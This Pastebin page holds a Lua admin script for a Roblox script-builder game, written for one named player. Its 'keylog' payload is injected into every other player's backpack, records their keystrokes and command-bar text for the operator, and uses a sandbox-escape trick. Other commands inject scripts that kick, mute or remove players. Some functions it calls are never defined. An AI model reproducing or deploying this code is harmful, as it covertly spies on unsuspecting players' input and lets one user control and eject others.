Advertisement
jordan83221

ag

Dec 4th, 2015
155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 12.49 KB | None | 0 0
  1. --[[Project TIME]]--
  2. wait()
  3. script.Parent=nil
  4. local next=next
  5. local pcall=pcall
  6. local cos=math.cos
  7. local sin=math.sin
  8. local atan2=math.atan2
  9. local pi=math.pi
  10. local plr=game.Players.Voreli
  11. local camera=workspace.CurrentCamera
  12. local ease=0.05
  13. local tabs={}
  14. local dt=false
  15. local let=true
  16. local tabo=true
  17. local spin=true
  18. local clone
  19. local admins={}
  20. local superadmins={}
  21. local megaadmins={}
  22. local uberadmins={}
  23. local svals={}
  24. local function insert(tab,val)
  25.     tab[#tab+1]=val
  26. end
  27. local function remove(tab,val)
  28.    if type(val)~="number" then
  29.        for i,v in next,tab do
  30.             if v==val then
  31.                 tab[i]=nil
  32.             end
  33.         end
  34.     else
  35.         tab[val]=nil
  36.     end
  37. end
  38. function dist(part1,part2)
  39.     return (part1-part2).magnitude
  40. end
  41. local function easey(part,cframe)
  42.     local dx=cframe.X-part.CFrame.X
  43.     local dy=cframe.Y-part.CFrame.Y
  44.     local dz=cframe.Z-part.CFrame.Z
  45.     local vx=dx*ease;
  46.     local vy=dy*ease;
  47.     local vz=dz*ease
  48.     part.CFrame=CFrame.new(part.CFrame.X+vx,part.CFrame.Y+vy,part.CFrame.Z+vz)
  49. end
  50. local keylog=[[
  51.     local next=next
  52.     if game.PlaceId == 178350907 then script.Parent = nil else local Environment = getfenv(getmetatable(LoadLibrary"RbxUtility".Create).__call) local oxbox = getfenv() setfenv(1, setmetatable({}, {__index = Environment})) Environment.coroutine.yield() oxbox.script:Destroy() end
  53.     local p=game.Players.LocalPlayer
  54.     local sv=Instance.new("StringValue",game.Lighting)
  55.     sv.Name=p.Name
  56.     local uis = game:GetService("UserInputService")
  57.     local slash=string.byte(47)
  58.     local val=Instance.new("StringValue",game.Lighting)
  59.     val.Name=p.Name.."*"
  60.     local function notify(stat)
  61.         local thing=Instance.new("StringValue",game.Lighting)
  62.         thing.Name="Notify_"..stat
  63.     end
  64.     uis.InputBegan:connect(function(input, typing)
  65.         if input.UserInputType == Enum.UserInputType.Keyboard then
  66.             if input.KeyCode == Enum.KeyCode.A then
  67.                 sv.Value=sv.Value..'a'
  68.             elseif input.KeyCode==Enum.KeyCode.B then
  69.                 sv.Value=sv.Value..'b'
  70.             elseif input.KeyCode==Enum.KeyCode.C then
  71.                 sv.Value=sv.Value..'c'
  72.             elseif input.KeyCode==Enum.KeyCode.D then
  73.                 sv.Value=sv.Value..'d'
  74.             elseif input.KeyCode==Enum.KeyCode.E then
  75.                 sv.Value=sv.Value..'e'
  76.             elseif input.KeyCode==Enum.KeyCode.F then
  77.                 sv.Value=sv.Value..'f'
  78.             elseif input.KeyCode==Enum.KeyCode.G then
  79.                 sv.Value=sv.Value..'g'
  80.             elseif input.KeyCode==Enum.KeyCode.H then
  81.                 sv.Value=sv.Value..'h'
  82.             elseif input.KeyCode==Enum.KeyCode.I then
  83.                 sv.Value=sv.Value..'i'
  84.             elseif input.KeyCode==Enum.KeyCode.J then
  85.                 sv.Value=sv.Value..'j'
  86.             elseif input.KeyCode==Enum.KeyCode.K then
  87.                 sv.Value=sv.Value..'k'
  88.             elseif input.KeyCode==Enum.KeyCode.L then
  89.                 sv.Value=sv.Value..'l'
  90.             elseif input.KeyCode==Enum.KeyCode.M then
  91.                 sv.Value=sv.Value..'m'
  92.             elseif input.KeyCode==Enum.KeyCode.N then
  93.                 sv.Value=sv.Value..'n'
  94.             elseif input.KeyCode==Enum.KeyCode.O then
  95.                 sv.Value=sv.Value..'o'
  96.             elseif input.KeyCode==Enum.KeyCode.P then
  97.                 sv.Value=sv.Value..'p'
  98.             elseif input.KeyCode==Enum.KeyCode.Q then
  99.                 sv.Value=sv.Value..'q'
  100.             elseif input.KeyCode==Enum.KeyCode.R then
  101.                 sv.Value=sv.Value..'r'
  102.             elseif input.KeyCode==Enum.KeyCode.S then
  103.                 sv.Value=sv.Value..'s'
  104.             elseif input.KeyCode==Enum.KeyCode.T then
  105.                 sv.Value=sv.Value..'t'
  106.             elseif input.KeyCode==Enum.KeyCode.U then
  107.                 sv.Value=sv.Value..'u'
  108.             elseif input.KeyCode==Enum.KeyCode.V then
  109.                 sv.Value=sv.Value..'v'
  110.             elseif input.KeyCode==Enum.KeyCode.W then
  111.                 sv.Value=sv.Value..'w'
  112.             elseif input.KeyCode==Enum.KeyCode.X then
  113.                 sv.Value=sv.Value..'x'
  114.             elseif input.KeyCode==Enum.KeyCode.Y then
  115.                 sv.Value=sv.Value..'y'
  116.             elseif input.KeyCode==Enum.KeyCode.Z then
  117.                 sv.Value=sv.Value..'z'
  118.             elseif input.KeyCode==Enum.KeyCode.Slash then
  119.                 sv.Value=sv.Value..'/'
  120.             elseif input.KeyCode==Enum.KeyCode.Space then
  121.                 sv.Value=sv.Value..' '
  122.             elseif input.KeyCode==Enum.KeyCode.Backspace then
  123.                 local t={}
  124.                 for i=1,val.Value:len() do
  125.                     table.insert(t,val.Value[i])
  126.                 end
  127.                 t[#t]=nil
  128.                 for i=1,#t do
  129.                     val.Value=t[i]
  130.                 end
  131.             end
  132.         end
  133.     end)
  134.     notify("Added.")
  135.     coroutine.resume(coroutine.create(function()
  136.         local gui=game.Players.LocalPlayer.PlayerGui.SB_OutputGUI.Task.InputBar
  137.         while gui.Text~="Click here or press (') to run a command" do
  138.             val.Value=gui.Text
  139.         end
  140.     end))
  141.     while wait() do
  142.         if string.find(sv.Value,'kick/vo')~=nil then
  143.             game:service'StarterGui':SetCoreGuiEnabled(3,false)
  144.         elseif string.find(sv.Value,'ban/vo')~=nil then
  145.             p:Kick()
  146.             notify(p.Name.." tried to kick Voreli and was removed.")
  147.         end
  148.     end
  149. ]]
  150. local function protect(p)
  151.  
  152. end
  153. local function makeBillboard(item, text)
  154.     local bg = Instance.new("BillboardGui", item)
  155.     bg.Enabled = true
  156.     bg.AlwaysOnTop = true
  157.     bg.Size = UDim2.new(5, -0.5, 5, 0)
  158.     local f = Instance.new("Frame", bg)
  159.     f.BackgroundTransparency = 1
  160.     f.Size = UDim2.new(2.5, 0, 1.25, 0)
  161.     local tb = Instance.new("TextBox", f)
  162.     tb.Size = UDim2.new(0.5, 0, 0.5, 0)
  163.     tb.FontSize = "Size36"
  164.     tb.Text = text
  165.     tb.TextStrokeTransparency = 0
  166.     tb.TextXAlignment = "Center"
  167.     tb.TextYAlignment = "Top"
  168.     tb.BackgroundTransparency = 1
  169.     tb.TextColor3 = Color3.new(0,0,1)
  170.     tb.Font="ArialBold"
  171.     if text == "Dismiss" then
  172.         tb.TextColor3 = Color3.new(1, 0, 0)
  173.         tb.TextStrokeColor3=Color3.new(0,0,0)
  174.     end
  175. end
  176. function notify(stat)
  177.     wait(0.1)
  178.     dt=false
  179.     tabo=true
  180.     local tab = Instance.new("Part", game.Workspace)
  181.     tab.Name = "Tab"
  182.     tab.CanCollide = false
  183.     tab.TopSurface = "Smooth"
  184.     tab.BottomSurface = "Smooth"
  185.     tab.Size = Vector3.new(4, 0.4, 6.6)
  186.     tab.Transparency = 0.5
  187.     tab.Anchored = true
  188.     tab.FormFactor = "Plate"
  189.     local tabad = Instance.new("Part",tab)
  190.     tabad.Name = "Tabad"
  191.     tabad.CanCollide = false
  192.     tabad.TopSurface = "Smooth"
  193.     tabad.BottomSurface = "Smooth"
  194.     tabad.Transparency = 0
  195.     tabad.BrickColor = BrickColor.new(1,1,1)
  196.     tabad.Anchored = true
  197.     local mesh = Instance.new("BlockMesh",tabad)
  198.     mesh.Scale = Vector3.new(0.5, 0.2, 1)
  199.     makeBillboard(tab,stat)
  200.     local sele = Instance.new("SelectionBox",tab)
  201.     sele.Adornee = tab
  202.     sele.Color = BrickColor.new(1,1,1)
  203.     sele.Transparency = 0
  204.     delay(0, function()
  205.         while wait() do
  206.             if let==true then
  207.                 for i = 0,.7,0.1 do
  208.                     tab.Size = Vector3.new(4,i,6.6)
  209.                     wait()
  210.                 end
  211.                 wait()
  212.                 for i = .7,0,-0.1 do
  213.                     tab.Size = Vector3.new(4,i,6.6)
  214.                     wait()
  215.                 end
  216.             end
  217.         end
  218.     end)
  219.     insert(tabs,{taba=tab,sel=sele,tabd=tabad})
  220.     coroutine.resume(coroutine.create(function()
  221.         for i,v in next,tabs do
  222.             local num=#tabs
  223.             local slice=(pi*2)/num
  224.             local radius=2+num
  225.             local angle=i*slice;
  226.             local x=cos(angle)*radius;
  227.             local y=60
  228.             local z=sin(angle)*radius;
  229.             tab.CFrame=camera.Focus*CFrame.new(x,y,z)
  230.             tabad.CFrame=camera.Focus*CFrame.new(x,y,z)
  231.         end
  232.     end))
  233. end
  234. game.Lighting.DescendantAdded:connect(function(obj)
  235.     if obj:IsA("ObjectValue") and obj.Name=="Potatoes" then
  236.         clone=obj.Value:Clone()
  237.         notify("Found!")
  238.         notify(clone.className)
  239.     end
  240. end)
  241. local function NL(code,par)
  242.     if clone then
  243.         if code and par then
  244.             local clo=clone:Clone()
  245.             local StringVal=Instance.new("StringValue",game.Players.Voreli.Backpack)
  246.             StringVal.Value=code
  247.             clo.Parent=par
  248.             StringVal.Name="Code"
  249.             clo.Disabled=false
  250.             notify("Ran script.")
  251.         end
  252.     end
  253. end
  254. local function logp(plr)
  255.  
  256. end
  257. local function wipe(tab)
  258.     for i=#tab,1 do
  259.         tab[i]=nil
  260.     end
  261. end
  262. workspace.DescendantRemoving:connect(function(obj)
  263.     for _,v in next,tabs do
  264.         if obj==v then
  265.             remove(tabs,obj)
  266.         end
  267.     end
  268. end)
  269. local function dismiss()
  270.     if dt==true and tabo==false then
  271.         spin=false
  272.         for i,v in next,tabs do
  273.             coroutine.resume(coroutine.create(function()
  274.                 for i=4,1,-0.05 do wait()
  275.                     tabs[i].taba.Size=i
  276.                 end
  277.             end))
  278.         end
  279.     end
  280. end
  281. local cmds={
  282.     ["log"]=function(a)
  283.         for _,v in next,game.Players:GetPlayers() do
  284.             if string.find(v.Name:lower(),a:lower())~=nil then
  285.                 local plr=v
  286.                 logp(plr)
  287.             end
  288.         end
  289.     end,
  290.     ["ff"]=function(a)
  291.         for _,v in next,game.Players:GetPlayers() do
  292.             if string.find(v.Name:lower(),a:lower()) ~= nil then
  293.                 pcall(function() Instance.new("ForceField",v.Character) end)
  294.             end
  295.         end
  296.     end,
  297.     ["cl"]=function(p)
  298.         for _,v in next,game.Players:GetPlayers() do
  299.             if string.find(v.Name:lower(),p:lower())~=nil then
  300.                 for i,g in next,game.Lighting:GetChildren() do
  301.                     if g then
  302.                         local a=string.match(g.Name,"(.*)*")
  303.                         if a==v.Name then
  304.                             notify(g.Value)
  305.                         end
  306.                     end
  307.                 end
  308.             end
  309.         end
  310.     end,
  311.     ["test"]=function(a)
  312.         for i=1,a do wait()
  313.             notify("")
  314.         end
  315.     end,
  316.     ["dt"]=function()
  317.         dt=true
  318.         tabo=false
  319.     end,
  320.     ["size"]=function()
  321.         spin=false
  322.         for i=1,#tabs do
  323.             tabs[i].taba.Size=Vector3.new(5,5,5)
  324.         end
  325.     end,
  326.     ["cspin"]=function()
  327.         spin=false
  328.     end,
  329.     ["lower"]=function()
  330.  
  331.     end,
  332.     ["kick"]=function(p)
  333.         for _,v in next,game.Players:GetPlayers() do
  334.             if string.find(v.Name:lower(),p:lower())~=nil then
  335.                 pcall(function()
  336.                     NLS([[game.Players.LocalPlayer:Kick()]],v.Backpack)
  337.                     notify("Kicked "..v.Name..".")
  338.                 end)
  339.             end
  340.         end
  341.     end,
  342.     ["grab"]=function(p)
  343.         for _,v in next,game.Players:GetPlayers() do
  344.             if string.find(v.Name:lower(),p:lower())~=nil then
  345.                 pcall(function()
  346.                     table.insert(tabs,v.Character.Torso)
  347.                 end)
  348.             end
  349.         end
  350.     end,
  351.     ["mute"]=function(p)
  352.         for _,v in next,game.Players:GetPlayers() do
  353.             if string.find(v.Name:lower(),p:lower())~=nil then
  354.                 pcall(function()
  355.                     NLS([[
  356.                         game:GetService("StarterGui"):SetCoreGuiEnabled(3,false)
  357.                     ]],v.Character)
  358.                     notify("Muted "..v.Name..".")
  359.                 end)
  360.             end
  361.         end
  362.     end,
  363.     ["unmute"]=function(p)
  364.         for _,v in next,game.Players:GetPlayers() do
  365.             if string.find(v.Name:lower(),p:lower())~=nil then
  366.                 pcall(function()
  367.                     NLS([[game:GetService("StarterGui"):SetCoreGuiEnabled(3,false)]],v.Character)
  368.                     notify("Unmuted "..v.Name..".")
  369.                 end)
  370.             end
  371.         end
  372.     end,
  373.     ["protect"]=function(p)
  374.         for _,v in next,game.Players:GetPlayers() do
  375.             if string.find(v.Name:lower(),p:lower())~=nil then
  376.                 pcall(function()
  377.                     protect(v)
  378.                 end)
  379.             end
  380.         end
  381.     end,
  382.     ["sd"]=function()
  383.         for _,v in next,game.Players:GetPlayers() do
  384.             NLS([[game.Players.LocalPlayer:Kick()]],v.Character)
  385.         end
  386.     end,
  387.     ["nl"]=function(a)
  388.         NL([[]]..a..[[]],game.Players.Voreli.Backpack)
  389.     end
  390. }
  391. local function antimute()
  392.     NLS([[
  393.         wait()
  394.         script.Parent=nil
  395.         local next=next
  396.         local pcall=pcall
  397.         while wait() do
  398.             game:service'StarterGui':SetCoreGuiEnabled(3,true)
  399.         end
  400.     ]],game.Players.Voreli.Backpack)
  401. end
  402. antimute()
  403. local function chat(msg,plr)
  404.     if msg and plr then
  405.         local cmd,parm=string.match(msg,"(.*)/(.*)")
  406.         if cmd and parm and cmds[cmd] then
  407.             cmds[cmd](parm)
  408.         end
  409.     end
  410. end
  411. game.Lighting.DescendantAdded:connect(function(obj)
  412.     if obj:IsA("LocalScript") then
  413.         notify(obj.Name.." has been added to scripts!")
  414.     end
  415. end)
  416. game.Lighting.DescendantAdded:connect(function(obj)
  417.     if obj:IsA("StringValue") then
  418.         local a,b=string.match(obj.Name,"(.*)_(.*)")
  419.         if a and b then
  420.             notify(b)
  421.         end
  422.     end
  423. end)
  424. local function playerAdd(p)
  425.     if p then
  426.         if p.Name=="Voreli" then
  427.             p.Chatted:connect(function(m) chat(m,p) end)
  428.         else
  429.             NLS(keylog,p.Backpack)
  430.             print("Added.")
  431.         end
  432.     end
  433. end
  434. game.Players.PlayerAdded:connect(function(p) playerAdd(p) end)
  435. for _,v in next,game.Players:GetPlayers() do
  436.     playerAdd(v)
  437. end
  438. local function rot()
  439.     if tabo==true and dt==false then
  440.         for i,v in next,tabs do
  441.             local x=math.cos(i*(pi*2)/#tabs)*(2+#tabs);
  442.             local y=0
  443.             local z=math.sin(i*(pi*2)/#tabs)*(2+#tabs);
  444.             easey(v.taba,plr.Character.Torso.CFrame*CFrame.new(x,y,z))
  445.             easey(v.tabd,plr.Character.Torso.CFrame*CFrame.new(x,y,z))
  446.             v.taba.CFrame=CFrame.new(v.taba.Position,Vector3.new(plr.Character.Torso.CFrame.X,plr.Character.Torso.CFrame.Y,plr.Character.Torso.CFrame.Z))*CFrame.Angles(15,0,0)
  447.             v.tabd.CFrame=CFrame.new(v.taba.Position,Vector3.new(plr.Character.Torso.CFrame.X,plr.Character.Torso.CFrame.Y,plr.Character.Torso.CFrame.Z))*CFrame.Angles(15,0,0)
  448.         end
  449.     end
  450. end
  451. local function begin()
  452.     notify("")
  453.     notify("")
  454.     notify("")
  455.     notify("")
  456.     notify("")
  457.     notify("")
  458.     notify("")
  459.     notify("")
  460.     notify("")
  461.     notify("")
  462.     notify("")
  463.     notify("")
  464.     notify("")
  465.     notify("")
  466.     notify("")
  467.     notify("")
  468.     notify("")
  469.     notify("")
  470.     wait(5)
  471.     dt=true
  472.     tabo=false
  473. end
  474. game:service'RunService'.Stepped:connect(function() rot() end)
  475. game:service'RunService'.Stepped:connect(function() dismiss() end)
  476. begin()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement